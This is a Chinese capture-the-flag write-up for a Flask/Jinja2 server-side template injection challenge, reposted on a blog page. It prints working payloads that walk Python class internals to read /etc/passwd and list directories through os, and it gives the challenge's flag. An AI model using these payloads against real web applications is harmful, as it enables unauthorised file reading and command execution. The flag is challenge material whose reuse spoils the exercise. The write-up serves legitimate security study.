web python template injection_攻防世界-Web_python_template_injection详解

Web_python_template_injection

在做这道题之前如果大家不懂可以先看一看这篇文章:

从零学习flask模板注入

基础知识:

在Jinja2模板引擎中,{{}}是变量包裹标识符。{{}}并不仅仅可以传递变量,还可以执行一些简单的表达式。

1.判断有无模板注入

payload

http://220.249.52.133:53362/{{7+7}}

查看全局变量

http://220.249.52.133:53362/{{config}}

基础知识:

文件包含:是通过python的对象的继承来一步步实现文件读取和命令执行的的。

思路:找到父类–>寻找子类–>找关于命令执行或者文件操作的模块。

几个魔术方法

__class__ 返回类型所属的对象

__mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。

__base__ 返回该对象所继承的基类 // __base__和__mro__都是用来寻找基类的

__subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表

__init__ 类的初始化方法

__globals__ 对包含函数全局变量的字典的引用

寻找可用引用

payload:

{{''.__class__.__mro__[2].__subclasses__()}}

可以看到有一个type file类型(可以进行文件读取)

{{ [].__class__.__base__.__subclasses__()[40]('/etc/passwd').read() }}

[40]是tupe file类型出现位置(从0开始的位置)

可以看到有一个 类型(可以进行命令执行)

{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}

本题我们主要用到命令执行,直接利用上面的payload即可

{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}

[71]为出现位置

读取flag

{{''.__class__.__mro__[2].__subclasses__()[40]('fl4g').read()}}

flag:

ctf{f22b6844-5169-4054-b2a0-d95b9361cb57}

原文链接:https://blog.csdn.net/Mr_helloword/article/details/107949217

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值